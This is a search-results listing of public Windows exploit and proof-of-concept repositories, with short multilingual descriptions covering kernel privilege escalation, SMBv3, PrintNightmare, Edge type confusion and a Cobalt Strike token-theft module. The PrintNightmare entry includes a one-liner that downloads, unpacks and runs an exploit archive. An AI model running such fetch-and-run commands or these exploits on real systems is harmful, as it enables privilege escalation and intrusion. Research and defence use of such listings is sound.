14420 matches found
forti_shield
fortishield CVE-2021-31955、CVE-2015-4077、CVE-2015-5736 の統合 POC これは、EXP-401 コースの 2022 年版におけるエクストラマイルの可能な解決策の 1 つです。このエクストラマイルは、2025 年版のコースから削除されました。このソリューションは、オフセットを変更しない限り、現在のエクストラマイルでは機能しません。この poc のすべてのオフセットはハードコードされており、バージョンに依存します。Windows 10 20H2 で動作します。 freeide の CVE-2021-31955 POC...
CVE-2024-26229-BOF
CVE-2024-26229 BOF CVE-2024-26229のBeacon Object File実装 — DKOMトークン窃取によるWindows CSCドライバのローカル特権昇格。 RalfHacker/CVE-2024-26229-exploit に基づき、Cobalt Strike BOF APIをサポートするC2フレームワークで使用するために、Dynamic Function Resolution DFR を用いてBOFに変換しました。 動作の仕組み 1. NtCreateFile を使用して \Device\Mup;Csc....
CVE-2022-37969
CVE-2022-37969 CVE-2022-37969 poc win10 21h2 19044.1766 win11 21h2 22000.918 编译基本信息 Windows SDK 版本 ：10.0 最新安装的版本 平台工具集: Visual Studio 2022 v143 C++ 语言标准 : 默认ISO C++14 标准...
CVE-2020-17382
CVE-2020-17382 Windows 10 x64 2004 Build 19041.264 エクスプロイト @matteomalvica には、この脆弱性について数多くの質問をいただき、その影響で最新のWindows 10リリース19041.264（KVA Shadowなし、すなわちSpecter脆弱性のないCPU、およびVBSなし）向けのエクスプロイトを作成する羽目になりました。この場を借りて感謝します。古いWindowsバージョンへの適合は簡単です（Matteoは1709に適合させています。彼のブログ記事をご確認ください）。 CVE-2018-3620...
PNCVE-Win10-20H2-Exploit
PrintNightmare-CVE-Win10-20H2-Exploit このエクスプロイトをWindowsで実行するには： 次のワンライナーを実行します： curl https://raw.githubusercontent.com/peckre/PNCVE-Win10-20H2-Exploit/main/Win10Exploit.zip -o Win10Exploit.zip & tar -xf Win10Exploit.zip & run.bat 注： これは再起動ごとに1回しか動作しません。これを実行してから閉じた場合、Print...
CVE-2022-24481
CVE-2022-24481 win1021H219044.1620 win1121H222000.593 编译基本信息 Windows SDK 版本 ：10.0 最新安装的版本 平台工具集: Visual Studio 2022 v143 C++ 语言标准 : 默认ISO C++14 标准...
CVE-2025-29824
CVE-2025-29824 win1021h2190445608x64 win1123h2226315126x64 testclient テストプログラム monitorclfssys clfsのすべてのIRP要求を監視するドライバ poc Crash ブルースクリーンPOC LPE win10poc win11poc ビルド基本情報 Windows SDK バージョン：10.0 最新インストールバージョン プラットフォームツールセット: Visual Studio 2022 v143 C++ 言語標準: デフォルト ISO C++14 標準...
SOC335-CVE-2024-49138-Investigation
SOC335 – CVE-2024-49138 漏洞利用调查 概述 本项目记录了使用 LetsDefend 平台对 CVE-2024-49138 漏洞利用警报进行 SOC 调查的过程。调查涉及分析网络日志、研究入侵指标、判断是否发生了可疑通信，以及对受影响端点进行遏制。 警报详情 警报： SOC335 – 检测到 CVE-2024-49138 漏洞利用 严重性： 中 事件 ID： 313 类别： 权限提升 受影响主机： Victor 内部 IP： 172.16.17.207 可疑外部 IP： 185.107.56.141 警报截图 调查 1. 日志分析...
cve-2020-0796
CVE-2020-0796は、SMBv3プロトコルが悪意のある圧縮データパケットを処理する際に発生するエラーによるものです。データパケットを解凍する際に、クライアントから送られた長さを使用して解凍する際、長さが適切かどうかをチェックせず、最終的に整数オーバーフローが発生します。これにより、リモートで認証されていない攻撃者がターゲットシステム上で任意のコードを実行できる可能性があります。この脆弱性はEternalBlue（MS17-010）に類似しています。 影響を受けるバージョン： Windows 10 Version 1903 for 32-bit Systems Windows 10...
chakra-2016-11
chakra.dll 信息泄露 + 类型混淆实现远程代码执行 针对 Edge 漏洞（CVE-2016-7200 和 CVE-2016-7201）的概念验证利用代码 已在 Windows 10 Edge（modern.ie 稳定版）上测试。 FillFromPrototypesTypeConfusion.html: WinExec notepad.exe FillFromPrototypesTypeConfusionNoSC.html: 0xcc INT 3 运行 1. 下载 exploit/FillFromPrototypesTypeConfusion.html 到某个目录。 2. 使用...
CVE-2020-0796-POC
CVE-2020-0796-POC 影響を受けるシステムバージョン この脆弱性はwin7には影響しませんが、Windows 10 1903以降の32ビット版および64ビット版の各Windows（ホーム版、プロフェッショナル版、エンタープライズ版、エデュケーション版を含む）に影響します。 Windows 10 Version 1903 for 32-bit Systems Windows 10 Version 1903 for x64-based Systems Windows 10 Version 1903 for ARM64-based Systems Windows Server,...
access_updated
Singular Access 基于btbd/access 的更新分支，使用 Zydis 进行动态模式查找，以兼容 Windows 10/11 一个内核态系统调用封装器，无需句柄即可执行特权进程操作。通过 xKdEnumerateDebuggingDevices 指针挂钩实现内核与用户态通信。 功能特性 ✅ 无硬编码偏移 - 所有内核函数/偏移均在运行时通过 Zydis 反汇编器动态发现 ✅ 版本无关 - 适用于 Windows 10 1607+ 和 Windows 11（最高 24H2） ✅ 无 SEH - 无结构化异常处理的安全操作 ✅ 无需句柄 - 无需创建真实句柄即可执行...
CVE-2017-0213
CVE-2017-0213: Windows COM の特権昇格の脆弱性 説明 作成者: Google Security Research CVE: 2017-0213 EDB-ID: 42020 参考文献: Project-Zero Microsoft Exploit-Database 動画: Youtube 影響を受ける製品 製品| バージョン| 更新プログラム| ビルド| テスト済み ---|---|---|---|--- Windows 10| 1511| | 10586| √ Windows 10| 1607| | 14393| √ Windows 10| 1703| |...
AntiKernelDebug-POC
AntiKernelDebug-poc 这是什么？ 一个关于如何通过池标签检测 Windows 内核调试的 POC。 这个 poc 实际上是如何工作的？ 查询系统池标签信息，匹配 TagUlong == 'oIdK'。 已在 Win10 1809 上测试。 编译 Visual Studio 2019 llvm-msvc 链接...
CVE-2020-17382
CVE-2020-17382 CVE-2020-17382 的 PoC 漏洞利用 适用于以下系统的可用漏洞利用： Windows 10 - 1709 Windows 7 x64 SP1 参考博客文章： https://www.matteomalvica.com/blog/2020/09/24/weaponizing-cve-2020-17382/...
CVE-2020-16947
CVE-2020-16947 この脆弱性は、Windows 10 1909 x64 にインストールされた Outlook 2019 16.0.13231.20262 で発生します。 TLDR; 私はこのバグを winafl ファザーを使用して発見しました。このバグは HTML コンテンツの解析時に発生します。攻撃者がこのエクスプロイトを正常に実行すると、リモートでのコマンド実行につながる可能性があります。 詳細 root@kitploit: 0:000 r rax=0000000000000000 rbx=0000021c99ce9eb0 rcx=0000021c99ce9eb0...
TickTock
TickTock Este repositorio demuestra un escáner de memoria PoC para enumerar los temporizadores de cola de temporizadores timer-queue timers utilizados en Ekko Sleep Obfuscation: https://github.com/Cracked5pider/Ekko. Para un análisis técnico completo, consulte la publicación del blog adjunta aquí...
CVE-2018-8440
CVE-2018-8440 メタスプロイトがSandboxEscaperが提供するdllライブラリを使用しており、x64のターゲットしかないことに気付いたので、私のpocをコミュニティと共有することにしました。もちろん、プリントスプーラーをターゲットにするよりもはるかに優れたベクターはありますが、それは読者の演習として残しておきます。 これはx86でテストされたスタンドアロンのpoc実行可能ファイルです（クライアントのために必要でした）。私の知る限り、これはx64でも動作するはずですが、現時点ではこの環境ではテストされていません。 はじめに...
CVE-2019-12476
ADSelfService-Plus-PoC CVE-2019-12476 ADSelfService Plus バージョン 4.3.3 Windows 10 での認証バイパスの PoC。 すべての Windows バージョンに影響します。 PoC 動画 再現手順 1. エンタープライズネットワークから切断します。 2. 自分のホットスポットに接続します。 3. パスワードリセットをクリックします。パスワードリセット Web アプリケーションがイントラネットでホストされている場合、シッククライアントブラウザは 404 エラーで応答するはずです。 4. このサイトの検索をクリックすると、新...